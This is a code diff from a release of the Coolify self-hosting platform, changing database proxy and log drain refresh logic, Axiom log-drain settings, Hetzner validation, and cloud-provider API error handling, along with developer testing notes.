app/Livewire/Storage/Form.php | 29 +- app/Livewire/SwitchTeam.php | 5 +- app/Livewire/Team/Index.php | 1 + app/Livewire/Team/Member.php | 35 +- app/Models/Application.php | 47 +- app/Models/EnvironmentVariable.php | 8 + app/Models/LocalFileVolume.php | 62 +- app/Models/S3Storage.php | 83 ++- app/Models/Server.php | 16 +- app/Models/ServerSetting.php | 11 +- app/Models/SharedEnvironmentVariable.php | 9 + app/Models/StandaloneKeydb.php | 2 +- app/Models/User.php | 1 - app/Providers/AppServiceProvider.php | 8 + app/Rules/DockerImageFormat.php | 15 +- app/Services/CloudflareTokenValidator.php | 11 +- app/Services/CloudflareTunnelService.php | 2 +- app/Services/DigitalOceanService.php | 3 +- app/Services/Dns/CloudflareDnsProvider.php | 2 +- app/Services/DockerImageParser.php | 16 +- app/Services/DopplerService.php | 4 +- app/Services/FileDownloadStorageService.php | 2 +- app/Services/HetznerService.php | 48 +- app/Services/IntegrationTokenValidator.php | 7 + app/Services/SentinelTrafficClient.php | 84 ++- .../ServerTransfer/ServerTransferExporter.php | 1 + .../ServerTransfer/ServerTransferImporter.php | 1 + app/Services/VultrService.php | 3 +- app/Support/RetryHttpConnectionFailures.php | 47 ++ app/Support/ValidationPatterns.php | 24 +- bootstrap/helpers/databases.php | 2 +- bootstrap/helpers/domains.php | 38 ++ bootstrap/helpers/github.php | 9 +- bootstrap/helpers/parsers.php | 40 +- bootstrap/helpers/services.php | 54 +- bootstrap/helpers/shared.php | 129 ++++ ...th_style_endpoint_to_s3_storages_table.php | 22 + ..._axiom_domain_to_server_settings_table.php | 22 + ...t_log_drain_from_server_settings_table.php | 43 ++ docker/coolify-terminal/terminal-server.js | 45 +- docker/coolify-terminal/terminal-utils.js | 98 ++- .../coolify-terminal/terminal-utils.test.js | 76 ++- docs/server-transfer-full-coverage.md | 2 +- openapi.json | 604 ++++++++++++++++-- openapi.yaml | 394 ++++++++++-- other/nightly/versions.json | 6 +- resources/js/terminal-connection.js | 28 +- resources/js/terminal-connection.test.js | 17 +- resources/js/terminal.js | 12 +- .../components/breadcrumb-switcher.blade.php | 10 +- .../components/modal-confirmation.blade.php | 18 +- .../shared-variables/editor.blade.php | 6 +- .../views/components/top-breadcrumb.blade.php | 24 +- .../shared/environment-variable/all.blade.php | 2 + .../livewire/server/log-drains.blade.php | 9 +- .../livewire/server/new/by-hetzner.blade.php | 4 +- .../views/livewire/storage/create.blade.php | 11 +- .../views/livewire/storage/form.blade.php | 10 +- scripts/transfer-test/seed-full.php | 2 +- .../Api/DatabaseApiResponseSchemaTest.php | 88 +++ .../Api/EnvironmentVariableUpdateApiTest.php | 162 +++++ tests/Feature/Api/HetznerApiTest.php | 328 +++++++++- tests/Feature/Api/S3StoragesApiTest.php | 32 + tests/Feature/Api/ServerSubsystemsApiTest.php | 20 + tests/Feature/Api/ServerTransferApiTest.php | 32 + .../Api/StoppedContainerLogsApiTest.php | 125 ++++ tests/Feature/ApiAccessDeniedResponseTest.php | 53 ++ .../ApiTokenTeamLifecycleSecurityTest.php | 48 ++ .../ApplicationDeploymentComposeParseTest.php | 103 +++ tests/Feature/ApplicationDomainsTest.php | 8 +- .../ApplicationLegacyBuildCommandTest.php | 130 ++++ ...licationParserDockerComposeDomainsTest.php | 80 +++ tests/Feature/ApplicationPreviewApiTest.php | 2 +- ...ApplicationRestartLimitEnforcementTest.php | 103 +++ ...eyApplicationCreationAuthorizationTest.php | 45 ++ tests/Feature/BackupS3CredentialsArgvTest.php | 30 + tests/Feature/BreadcrumbRenameEventsTest.php | 60 ++ tests/Feature/CloneServiceVolumeDataTest.php | 15 + .../ComposeContentVolumeConfinementTest.php | 3 +- .../ContentFilesBeforeComposeUpTest.php | 62 +- .../DatabaseEnvironmentVariableApiTest.php | 23 + .../DatabaseImportInterruptedCleanupTest.php | 12 +- .../DatabaseProxyConfigRefreshTest.php | 147 +++++ tests/Feature/DevelopmentQemuVmTest.php | 18 + tests/Feature/DigitalOceanApiTest.php | 44 ++ .../DigitalOceanServerCreationTest.php | 4 + tests/Feature/DnsProviderManagementTest.php | 20 + ...nvironmentVariableDevViewDirectiveTest.php | 146 +++++ ...nvironmentVariableDevViewRoundTripTest.php | 79 +++ tests/Feature/FileStorageSyncTriggersTest.php | 123 ++++ tests/Feature/GetLogsInvalidUtf8Test.php | 76 +++ tests/Feature/GithubPrivateRepositoryTest.php | 46 ++ .../GithubRepositoryProjectIdSshUrlTest.php | 77 +++ tests/Feature/HetznerServerValidationTest.php | 86 +++ tests/Feature/HostingerApiTest.php | 5 + tests/Feature/HostingerServerCreationTest.php | 4 + tests/Feature/HttpConnectionRetryTest.php | 40 ++ ...neralDockerRegistryImageValidationTest.php | 14 + .../LocalFileVolumeRelativePathTest.php | 2 + tests/Feature/LogDrain/AxiomLogDrainTest.php | 137 ++++ .../LogDrain/CloudwatchLogDrainTest.php | 46 -- .../LogDrain/LogDrainConfigRefreshTest.php | 179 ++++++ .../RemoveHighlightLogDrainMigrationTest.php | 30 + tests/Feature/ModelFillableCreationTest.php | 2 - .../NewApplicationRepositoryFlowsTest.php | 185 ++++++ .../PersistentStoragePerformanceTest.php | 8 +- .../PreviewDomainPortOverridesTest.php | 9 +- tests/Feature/PreviewFileStoragePathTest.php | 94 +++ ...efikApplicationRouterServiceLabelsTest.php | 68 ++ .../Feature/S3StorageCreateErrorLinkTest.php | 16 + tests/Feature/S3StorageFormTest.php | 2 + .../Security/IntegrationTokenFormTest.php | 47 ++ .../Server/HetznerServerCreationTest.php | 94 ++- .../Server/HetznerServerPlaceholderIpTest.php | 5 + .../Server/ServerIpv6NormalizationTest.php | 4 + tests/Feature/ServerSettingsAuditTest.php | 4 + .../Feature/ServerStorageSaveDispatchTest.php | 8 +- tests/Feature/StorageAndServiceAuditTest.php | 10 +- tests/Feature/StorageHostPathTest.php | 4 +- .../TrafficAnalytics/GlobalAnalyticsTest.php | 31 + .../SentinelTrafficAvailabilityTest.php | 3 +- .../Feature/ValidateNewCloudServerJobTest.php | 100 +++ tests/Feature/VultrApiTest.php | 44 ++ tests/Feature/VultrServerCreationTest.php | 4 + .../application-with-exact-caddy-labels.yaml | 46 +- ...application-with-exact-traefik-labels.yaml | 46 +- .../expected/application-with-settings.yaml | 46 +- .../Fixtures/parser/expected/application.yaml | 46 +- tests/Support/RemoteProcessTestHelpers.php | 8 + tests/Unit/CloneResourceNameTest.php | 25 + tests/Unit/DockerImageParserTest.php | 12 + .../DockerImageReferenceValidationTest.php | 45 ++ tests/Unit/EnvDevViewDirectiveTest.php | 91 +++ tests/Unit/FormatEnvValueForDevViewTest.php | 25 + tests/Unit/GitImportStepsTest.php | 36 ++ tests/Unit/GitLfsSkipSmudgeTest.php | 92 +++ tests/Unit/LocalFileVolumeContentSizeTest.php | 21 +- tests/Unit/LogDrainCommandInjectionTest.php | 10 - tests/Unit/ParseCommandsByLineForSudoTest.php | 8 + tests/Unit/ResourceCreateOpenApiTest.php | 24 + tests/Unit/S3StorageTest.php | 83 +++ tests/v4/Browser/BreadcrumbRenameTest.php | 37 ++ tests/v4/Browser/DeleteAccountTest.php | 4 + .../S3StoragePathStyleDetectionTest.php | 35 + versions.json | 6 +- 229 files changed, 6966 insertions(+), 1042 deletions(-) create mode 100644 app/Exceptions/CloudProviderApiException.php create mode 100644 app/Jobs/ValidateNewCloudServerJob.php create mode 100644 app/Support/RetryHttpConnectionFailures.php create mode 100644 database/migrations/2026_10_27_142752_add_use_path_style_endpoint_to_s3_storages_table.php create mode 100644 database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php create mode 100644 database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php create mode 100644 tests/Feature/Api/DatabaseApiResponseSchemaTest.php create mode 100644 tests/Feature/Api/StoppedContainerLogsApiTest.php create mode 100644 tests/Feature/ApiAccessDeniedResponseTest.php create mode 100644 tests/Feature/ApplicationDeploymentComposeParseTest.php create mode 100644 tests/Feature/ApplicationLegacyBuildCommandTest.php create mode 100644 tests/Feature/ApplicationRestartLimitEnforcementTest.php create mode 100644 tests/Feature/BreadcrumbRenameEventsTest.php create mode 100644 tests/Feature/DatabaseProxyConfigRefreshTest.php create mode 100644 tests/Feature/EnvironmentVariableDevViewDirectiveTest.php create mode 100644 tests/Feature/EnvironmentVariableDevViewRoundTripTest.php create mode 100644 tests/Feature/FileStorageSyncTriggersTest.php create mode 100644 tests/Feature/GetLogsInvalidUtf8Test.php create mode 100644 tests/Feature/GithubRepositoryProjectIdSshUrlTest.php create mode 100644 tests/Feature/HetznerServerValidationTest.php create mode 100644 tests/Feature/HttpConnectionRetryTest.php create mode 100644 tests/Feature/LogDrain/AxiomLogDrainTest.php create mode 100644 tests/Feature/LogDrain/LogDrainConfigRefreshTest.php create mode 100644 tests/Feature/LogDrain/RemoveHighlightLogDrainMigrationTest.php create mode 100644 tests/Feature/NewApplicationRepositoryFlowsTest.php create mode 100644 tests/Feature/PreviewFileStoragePathTest.php create mode 100644 tests/Feature/Proxy/TraefikApplicationRouterServiceLabelsTest.php create mode 100644 tests/Feature/ValidateNewCloudServerJobTest.php create mode 100644 tests/Unit/CloneResourceNameTest.php create mode 100644 tests/Unit/EnvDevViewDirectiveTest.php create mode 100644 tests/Unit/FormatEnvValueForDevViewTest.php create mode 100644 tests/Unit/GitLfsSkipSmudgeTest.php create mode 100644 tests/Unit/ResourceCreateOpenApiTest.php create mode 100644 tests/v4/Browser/BreadcrumbRenameTest.php create mode 100644 tests/v4/Browser/S3StoragePathStyleDetectionTest.php diff --git a/.ai/lessons.md b/.ai/lessons.md index 44f496dd05..23292f3729 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -30,11 +30,15 @@ - In browser tests, address `x-forms.input` fields by `name` (`type('fieldName', ...)`); its HTML `id` is not always the Livewire property, so `#property` waits forever. - For load tests against a dev VM, use your own instance (`COOLIFY_DEV_INSTANCE= COOLIFY_DEV_SIDE_BY_SIDE=1 ./scripts/dev start`); other sessions can reseed the localhost VM of a shared instance. The 1 GiB VM drops packets when its conntrack table is full (`dmesg`: `nf_conntrack: table full`), so raise `net.netfilter.nf_conntrack_max` on it and run an idle load first to prove a clean baseline. - Do not call `sleep()` in a browser test. The app server runs in the test process, so `sleep()` stops it; use `$page->wait()`. -- `Queue::fake()` also captures `dispatchSync()` of a `ShouldQueue` job, so the job never runs. Fake only the jobs to block (`Queue::fake([SomeJob::class])`). +- `Queue::fake()` also captures `dispatchSync()` of a `ShouldQueue` job, so the job never runs. Fake only the jobs to block (`Queue::fake([SomeJob::class])`). Exception: actions (`AsAction`) are queued as `JobDecorator`, so `Queue::fake([SomeAction::class])` does not stop them; use `Queue::fake()` and `SomeAction::assertPushed()`. +- `Notification::fake()` records nothing for a team that has no enabled channel. Turn one on (for example `emailNotificationSettings()->update(['use_instance_email_settings' => true, '_email_notifications' => true])`) before `assertSentTo`. - In tests, turning on `is_metrics_enabled` (and other Sentinel settings) with `save()`/`update()` runs the settings hook, which starts Sentinel over a real SSH connection on the sync queue. Use `saveQuietly()` or `Queue::fake()`. - Call `visit()` directly in each `tests/v4/Browser` test body; Pest does not mark a test that only uses helper-wrapped `visit()` as a browser test, so it fails with `sendText() on null`. - The root team (id 0) has `personal_team = true`, so `personal_team` does not identify a user's own team. To clean up test users, detach them from shared teams and then delete the user; never delete a team selected by a filter. A Team delete revokes the team's API tokens and deletes its private keys before any guard can stop it. - SQLite returns `0`/`1` for boolean columns without a `boolean` cast, while Postgres returns real booleans. A strict `=== false` check on such a column never matches in tests, so tests can pass on behavior that Postgres blocks. Add the cast or compare loosely. +- SQLite does not enforce `varchar(255)` lengths, while Postgres rejects a longer value (`SQLSTATE[22001]`). Tests cannot show a too-long name, so assert the length or the exact value of generated strings. + +- The Compose parsers (`parse()`, `applicationParser`, `serviceParser`) run on page mounts, refreshes, and deployments. Do not dispatch jobs or run server commands from them; let the caller that changes data start the work. Code that only needs the service names reads `docker_compose_raw` (`Application::composeServicesWithoutParse()`). ## Verify the complete user flow - Do not use a passing unit test, a successful build, or a healthy process as proof for a reported UI failure. diff --git a/app/Actions/Database/StartDatabaseImport.php b/app/Actions/Database/StartDatabaseImport.php index 9d8add6b8f..d9e491345c 100644 --- a/app/Actions/Database/StartDatabaseImport.php +++ b/app/Actions/Database/StartDatabaseImport.php @@ -318,7 +318,7 @@ class StartDatabaseImport private function setMinioClientAlias(S3Storage $storage, Server $server, string $helper): void { $remoteCommand = ($server->isNonRoot() ? 'sudo ' : '').'docker exec -i '.escapeshellarg($helper) - .' mc alias set s3temp '.escapeshellarg((string) $storage->endpoint).' >/dev/null'; + .' mc alias set'.$storage->minioClientPathOption().' s3temp '.escapeshellarg((string) $storage->endpoint).' >/dev/null'; $timeout = (int) config('constants.ssh.command_timeout'); SshRetryHandler::retry( diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 3070e88ac6..7c954d9501 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -13,6 +13,7 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Notifications\Container\ContainerRestarted; +use Illuminate\Support\Facades\Cache; use Lorisleiva\Actions\Concerns\AsAction; use Lorisleiva\Actions\Decorators\JobDecorator; use Symfony\Component\Yaml\Yaml; @@ -21,6 +22,27 @@ class StartDatabaseProxy { use AsAction; + /** + * Version of the generated proxy configuration. Raise it when the configuration changes, so the + * status checks recreate proxies that an older Coolify version started with the old configuration. + */ + public const CONFIG_VERSION = '2'; + + public const CONFIG_VERSION_LABEL = 'coolify.databaseProxyConfigVersion'; + + /** + * True when a running proxy has an older configuration and no recreation was claimed in the last + * ten minutes. The claim stops a busy queue from recreating the proxy again before the first run. + */ + public static function claimOutdatedRefresh(string $databaseUuid, mixed $labels): bool + { + if ((string) collect($labels)->get(self::CONFIG_VERSION_LABEL) === self::CONFIG_VERSION) { + return false; + } + + return Cache::add("database-proxy-refresh:{$databaseUuid}", true, now()->addMinutes(10)); + } + public function configureJob(JobDecorator $job): void { $job->onQueue(deployment_queue()); @@ -85,6 +107,9 @@ class StartDatabaseProxy 'image' => 'nginx:stable-alpine', 'container_name' => $proxyContainerName, 'restart' => RESTART_MODE, + 'labels' => [ + self::CONFIG_VERSION_LABEL => self::CONFIG_VERSION, + ], 'ports' => [ "$database->public_port:$database->public_port", ], @@ -120,7 +145,6 @@ class StartDatabaseProxy ]; $dockercompose_base64 = base64_encode(Yaml::dump($docker_compose, 4, 2)); $nginxconf_base64 = base64_encode($nginxconf); - instant_remote_process(["docker rm -f $proxyContainerName"], $server, false); try { instant_remote_process([ @@ -129,6 +153,8 @@ class StartDatabaseProxy "echo '{$dockercompose_base64}' | base64 -d | tee $configuration_dir/docker-compose.yaml > /dev/null", // Pass -f so Compose uses only the file that Coolify wrote. "docker compose --project-directory {$configuration_dir} -f {$configuration_dir}/docker-compose.yaml pull", + // Remove the old proxy only after the pull, so a failed pull keeps it running. + dockerRemoveCommand($proxyContainerName), "docker compose --project-directory {$configuration_dir} -f {$configuration_dir}/docker-compose.yaml up -d", ], $server); } catch (\RuntimeException $e) { diff --git a/app/Actions/Development/StartDevelopmentQemuVm.php b/app/Actions/Development/StartDevelopmentQemuVm.php index 8e52a6dcc4..11cd1a369c 100644 --- a/app/Actions/Development/StartDevelopmentQemuVm.php +++ b/app/Actions/Development/StartDevelopmentQemuVm.php @@ -155,10 +155,18 @@ class StartDevelopmentQemuVm /** * nvidia-persistenced keeps the GPU open, which blocks libvirt from moving it to vfio-pci. + * Other users of the GPU (for example a desktop session) must stop first: if libvirt unbinds the + * nvidia driver while they hold the GPU open, the GPU stays unusable until the host reboots. */ private function releaseHostGpu(): void { Process::run('systemctl stop nvidia-persistenced'); + + $users = Process::run('fuser -v /dev/nvidia[0-9]* 2>&1'); + + if ($users->successful() && trim($users->output()) !== '') { + throw new RuntimeException("These host processes still use the NVIDIA GPU, so it cannot move to the VM. Stop them (for example the display manager), or remove the GPU from the VM with --fresh and without --gpu:\n".trim($users->output())); + } } private function destroyVm(string $domain): void diff --git a/app/Actions/Docker/GetContainersStatus.php b/app/Actions/Docker/GetContainersStatus.php index 5ce2a90f6e..c59545a9dd 100644 --- a/app/Actions/Docker/GetContainersStatus.php +++ b/app/Actions/Docker/GetContainersStatus.php @@ -241,6 +241,8 @@ class GetContainersStatus implements ShouldBeUnique })->first(); if (! $foundTcpProxy) { StartDatabaseProxy::run($service_db); + } elseif (! $this->server->isSwarm() && StartDatabaseProxy::claimOutdatedRefresh($proxyUuid, data_get($foundTcpProxy, 'Config.Labels'))) { + StartDatabaseProxy::run($service_db); } } else { // Clean up orphaned proxy when is_public=false @@ -292,6 +294,8 @@ class GetContainersStatus implements ShouldBeUnique })->first(); if (! $foundTcpProxy) { StartDatabaseProxy::run($database); + } elseif (! $this->server->isSwarm() && StartDatabaseProxy::claimOutdatedRefresh($uuid, data_get($foundTcpProxy, 'Config.Labels'))) { + StartDatabaseProxy::run($database); } } else { // Clean up orphaned proxy when is_public=false @@ -529,7 +533,9 @@ class GetContainersStatus implements ShouldBeUnique ->where('restart_limit_reached', false) ->update(['restart_limit_reached' => true]) === 1; - if ($restartLimitClaimed) { + // Stop again while a container still runs: an earlier stop can fail or come too late. + $stillRunning = $containerStatuses->contains(fn (string $status): bool => ! str($status)->contains('exited')); + if ($restartLimitClaimed || $stillRunning) { $application->refresh(); StopApplication::dispatch( application: $application, @@ -538,6 +544,8 @@ class GetContainersStatus implements ShouldBeUnique resetRestartCount: false, removeContainers: false, ); + } + if ($restartLimitClaimed) { $application->environment->project->team?->notify(new ApplicationRestartLimitReached($application)); } } diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index 93774a0be2..57068e0b52 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -3,8 +3,10 @@ namespace App\Actions\Server; use App\Models\Server; +use App\Models\ServerSetting; use App\Models\Service; use App\Rules\ValidFluentBitConfig; +use Illuminate\Support\Facades\Cache; use Lorisleiva\Actions\Concerns\AsAction; class StartLogDrain @@ -13,12 +15,31 @@ class StartLogDrain public string $jobQueue = 'high'; + /** + * Bump when the generated files change (image, config, compose, or README), so that the + * server checks start running log drains again with the new files. + */ + public const CONFIG_VERSION = '1'; + + public const CONFIG_VERSION_LABEL = 'coolify.logDrainConfigVersion'; + + /** + * Whether a running log drain container was made with older files. Claims the refresh for + * 10 minutes, so that the frequent server checks queue only one restart. + */ + public static function claimOutdatedRefresh(Server $server, mixed $labels): bool + { + if ((string) collect($labels)->get(self::CONFIG_VERSION_LABEL) === self::CONFIG_VERSION) { + return false; + } + + return Cache::add("log-drain-refresh:{$server->uuid}", true, now()->addMinutes(10)); + } + public function handle(Server $server) { if ($server->settings->is_logdrain_newrelic_enabled) { $type = 'newrelic'; - } elseif ($server->settings->is_logdrain_highlight_enabled) { - $type = 'highlight'; } elseif ($server->settings->is_logdrain_axiom_enabled) { $type = 'axiom'; } elseif ($server->settings->is_logdrain_custom_enabled) { @@ -34,9 +55,6 @@ class StartLogDrain return 'Amazon CloudWatch Logs uses the built-in Docker awslogs driver.'; } - if ($type !== 'none') { - StopLogDrain::run($server); - } $serverName = $this->fluentBitValue((string) $server->name); try { if ($type === 'none') { @@ -49,8 +67,7 @@ class StartLogDrain [SERVICE] Flush 5 Daemon off - Tag container_logs - Log_Level debug + Log_Level warn Parsers_File parsers.conf [INPUT] Name forward @@ -76,27 +93,6 @@ class StartLogDrain # https://log-api.newrelic.com/log/v1 - US base_uri \${BASE_URI} "); - } elseif ($type === 'highlight') { - if (! $server->settings->is_logdrain_highlight_enabled) { - throw new \Exception('Highlight log drain is not enabled.'); - } - $config = base64_encode(' -[SERVICE] - Flush 5 - Daemon off - Log_Level debug - Parsers_File parsers.conf -[INPUT] - Name forward - tag ${HIGHLIGHT_PROJECT_ID} - Buffer_Chunk_Size 1M - Buffer_Max_Size 6M -[OUTPUT] - Name forward - Match * - Host otel.highlight.io - Port 24224 -'); } elseif ($type === 'axiom') { if (! $server->settings->is_logdrain_axiom_enabled) { throw new \Exception('Axiom log drain is not enabled.'); @@ -105,7 +101,7 @@ class StartLogDrain [SERVICE] Flush 5 Daemon off - Log_Level debug + Log_Level warn Parsers_File parsers.conf [INPUT] Name forward @@ -126,9 +122,9 @@ class StartLogDrain [OUTPUT] Name http Match * - Host api.axiom.co + Host \${AXIOM_DOMAIN} Port 443 - URI /v1/datasets/\${AXIOM_DATASET_NAME}/ingest + URI /v1/ingest/\${AXIOM_DATASET_NAME} # Authorization Bearer should be an API token Header Authorization Bearer \${AXIOM_API_KEY} compress gzip @@ -165,7 +161,7 @@ class StartLogDrain $compose = base64_encode(' services: coolify-log-drain: - image: cr.fluentbit.io/fluent/fluent-bit:2.0 + image: cr.fluentbit.io/fluent/fluent-bit:5.1 container_name: coolify-log-drain command: -c /fluent-bit.conf env_file: @@ -177,16 +173,22 @@ services: - 127.0.0.1:24224:24224 labels: - coolify.managed=true + - '.self::CONFIG_VERSION_LABEL.'='.self::CONFIG_VERSION.' restart: unless-stopped '); - $readme = base64_encode('# New Relic Log Drain -This log drain is based on [Fluent Bit](https://fluentbit.io/) and New Relic Log Forwarder. + $providerName = match ($type) { + 'newrelic' => 'New Relic', + 'axiom' => 'Axiom', + 'custom' => 'Custom', + }; + $readme = base64_encode("# {$providerName} Log Drain +This log drain is based on [Fluent Bit](https://fluentbit.io/). Files: - `fluent-bit.conf` - configuration file for Fluent Bit - `docker-compose.yml` - docker-compose file to run Fluent Bit - `.env` - environment variables for Fluent Bit -'); +"); $license_key = $server->settings->logdrain_newrelic_license_key; $base_uri = $server->settings->logdrain_newrelic_base_uri; $base_path = config('constants.coolify.base_config_path'); @@ -198,10 +200,9 @@ Files: $readme_path = $config_path.'/README.md'; if ($type === 'newrelic') { $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n"; - } elseif ($type === 'highlight') { - $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n"; } elseif ($type === 'axiom') { - $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; + $axiomDomain = trim((string) $server->settings->logdrain_axiom_domain) ?: ServerSetting::DEFAULT_AXIOM_DOMAIN; + $envContent = "AXIOM_DOMAIN={$axiomDomain}\nAXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; } elseif ($type === 'custom') { $envContent = ''; } else { @@ -209,6 +210,8 @@ Files: } $envEncoded = base64_encode($envContent); + // The running drain is removed only after the checks above and the image pull, so that an + // invalid custom config or a slow download does not stop log collection. $command = [ "echo 'Saving configuration'", "mkdir -p $config_path", @@ -217,7 +220,10 @@ Files: "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null", "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null", "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null", + "echo 'Pulling Fluent Bit'", + "docker compose -f $compose_path pull --quiet --ignore-pull-failures", "echo 'Starting Fluent Bit'", + 'docker rm -f coolify-log-drain >/dev/null 2>&1 || true', "docker compose -f $compose_path up -d", ]; $command = array_merge($command, $this->logDrainNetworkConnectCommands($server)); diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php index f4855b9ffa..57be1a5a60 100644 --- a/app/Actions/Server/ValidateServer.php +++ b/app/Actions/Server/ValidateServer.php @@ -37,6 +37,19 @@ class ValidateServer $server->update([ 'validation_logs' => null, ]); + if ($server->hetzner_server_id) { + $status = $server->refreshHetznerState(); + if (in_array($status, ['initializing', 'starting', 'stopping', 'off', 'deleting', 'rebuilding', 'migrating'], true)) { + $this->error = $status === 'off' + ? 'Hetzner server is off. Power it on before validating.' + : "Hetzner server is {$status}. Wait until it is running, then validate."; + $server->update([ + 'validation_logs' => $this->error, + ]); + throw new \Exception($this->error); + } + } + if ($server->vultr_instance_id) { $status = $server->refreshVultrState(); if (in_array($status, ['stopped', 'suspended', 'deleted'], true)) { diff --git a/app/Actions/Service/DeployServiceApplication.php b/app/Actions/Service/DeployServiceApplication.php index cc49010db6..abf66941a6 100644 --- a/app/Actions/Service/DeployServiceApplication.php +++ b/app/Actions/Service/DeployServiceApplication.php @@ -20,6 +20,7 @@ class DeployServiceApplication $composeServiceName = $serviceApplication->name; $service->parse(); + StartService::queueFileStorageSync($service); $service->saveComposeConfigs(); $service->isConfigurationChanged(save: true); diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index c7119bfefe..c9f0d6e079 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -3,6 +3,7 @@ namespace App\Actions\Service; use App\Actions\Shared\EnsureContentFilesOnServer; +use App\Jobs\ServerFilesFromServerJob; use App\Models\LocalFileVolume; use App\Models\Service; use App\Models\ServiceApplication; @@ -24,6 +25,7 @@ class StartService public function handle(Service $service, bool $pullLatestImages = false, bool $stopBeforeStart = false) { $service->parse(); + self::queueFileStorageSync($service); // Fetch remote secrets before stopping: if the secret manager fails, the service keeps running. // saveComposeConfigs() below reuses the fetched secrets. $service->ensureRemoteSecretsResolvable($service->environment_variables()->get()); @@ -103,6 +105,18 @@ class StartService return "{$connectedNetworks} | grep -qxF {$network} || docker network connect --alias {$containerName} {$network} {$containerName} || echo {$warning}"; } + /** + * Queues one sync of the file storages with the server for each resource of the service that has + * file storages. The sync marks each storage as a file or a directory, as it is on the server. + */ + public static function queueFileStorageSync(Service $service): void + { + $service->applications()->get() + ->concat($service->databases()->get()) + ->filter(fn (ServiceApplication|ServiceDatabase $resource): bool => $resource->fileStorages()->exists()) + ->each(fn (ServiceApplication|ServiceDatabase $resource) => ServerFilesFromServerJob::dispatch($resource)); + } + /** * Shows the volume warnings of the last parse (for example an external volume that the * service does not use yet) in the start log. diff --git a/app/Actions/User/DeleteUserTeams.php b/app/Actions/User/DeleteUserTeams.php index b2b06e7ba3..6c38942257 100644 --- a/app/Actions/User/DeleteUserTeams.php +++ b/app/Actions/User/DeleteUserTeams.php @@ -137,7 +137,6 @@ class DeleteUserTeams // Update the new owner's role to owner $team->members()->updateExistingPivot($newOwner->id, ['role' => 'owner']); - RevokeUserTeamTokens::forUserTeam($newOwner, $team->id); // Remove the current user from the team $team->members()->detach($this->user->id); diff --git a/app/Auth/Oidc/OidcDiscoveryService.php b/app/Auth/Oidc/OidcDiscoveryService.php index 0847afc9a7..eddddb219e 100644 --- a/app/Auth/Oidc/OidcDiscoveryService.php +++ b/app/Auth/Oidc/OidcDiscoveryService.php @@ -21,7 +21,7 @@ class OidcDiscoveryService $url = $issuerUrl.'/.well-known/openid-configuration'; try { - $response = Http::timeout(5)->connectTimeout(3)->acceptJson()->get($url); + $response = Http::timeout(15)->acceptJson()->get($url); } catch (Throwable $e) { throw new OidcDiscoveryException("Failed to fetch discovery document: {$e->getMessage()}", previous: $e); } @@ -68,7 +68,7 @@ class OidcDiscoveryService return Cache::remember($cacheKey, 21600, function () use ($jwksUri): array { try { - $response = Http::timeout(5)->connectTimeout(3)->acceptJson()->get($jwksUri); + $response = Http::timeout(15)->acceptJson()->get($jwksUri); } catch (Throwable $e) { throw new OidcJwksException("Failed to fetch JWKS: {$e->getMessage()}", previous: $e); } diff --git a/app/Exceptions/CloudProviderApiException.php b/app/Exceptions/CloudProviderApiException.php new file mode 100644 index 0000000000..287d4aafd9 --- /dev/null +++ b/app/Exceptions/CloudProviderApiException.php @@ -0,0 +1,73 @@ + */ + public readonly array $invalidFields; + + /** + * The error code and field names come from the provider, so only values that look like identifiers are kept. + * + * @param array $invalidFields + */ + public function __construct( + public readonly string $provider, + string $providerMessage, + public readonly int $status, + mixed $errorCode = null, + array $invalidFields = [], + ) { + parent::__construct("{$provider} API error: {$providerMessage}", $status); + + $errorCode = is_string($errorCode) ? strtolower($errorCode) : null; + $this->errorCode = $errorCode !== null && preg_match('/^[a-z_]{1,64}$/', $errorCode) ? $errorCode : null; + $this->invalidFields = array_values(array_filter( + $invalidFields, + fn ($name) => is_string($name) && preg_match('/^[a-z0-9_.\[\]]{1,64}$/i', $name) + )); + } + + /** + * A message that is safe to return to API clients. It is built only from the + * HTTP status, the error code, and field names, never from the provider's free-text message. + */ + public function safeMessage(): string + { + return match (true) { + $this->errorCode === 'resource_limit_exceeded' => "Your {$this->provider} account has reached a resource limit, for example the server limit. Remove unused resources or ask {$this->provider} for a higher limit.", + $this->errorCode === 'resource_unavailable' => 'The selected server type, image, or location is not available now. Select a different location or server type.', + $this->errorCode === 'uniqueness_error' => "A resource with the same name already exists in your {$this->provider} account, for example a server or an SSH key. Use a different name.", + $this->errorCode === 'maintenance', $this->status === 423, $this->status >= 500 => "{$this->provider} cannot process the request now. Try again later.", + $this->status === 401 => "The {$this->provider} API token is invalid or expired. Update the cloud provider token in Coolify.", + $this->status === 403 => "The {$this->provider} API token does not have permission for this request. Use a token with read and write access.", + $this->status === 404 => "{$this->provider} could not find a requested resource, for example the location, server type, image, or SSH key.", + $this->status === 409 => "{$this->provider} rejected the request because of a conflict with an existing resource.", + $this->status === 422 => "{$this->provider} rejected the request as invalid. Check the selected values and your account limits.".($this->invalidFields !== [] ? ' Invalid fields: '.implode(', ', $this->invalidFields).'.' : ''), + default => "{$this->provider} returned HTTP {$this->status}".($this->errorCode !== null ? " (error code: {$this->errorCode})" : '').'.', + }; + } + + /** + * The API response for a failed provider request: 502, because the upstream API rejected it. + */ + public function 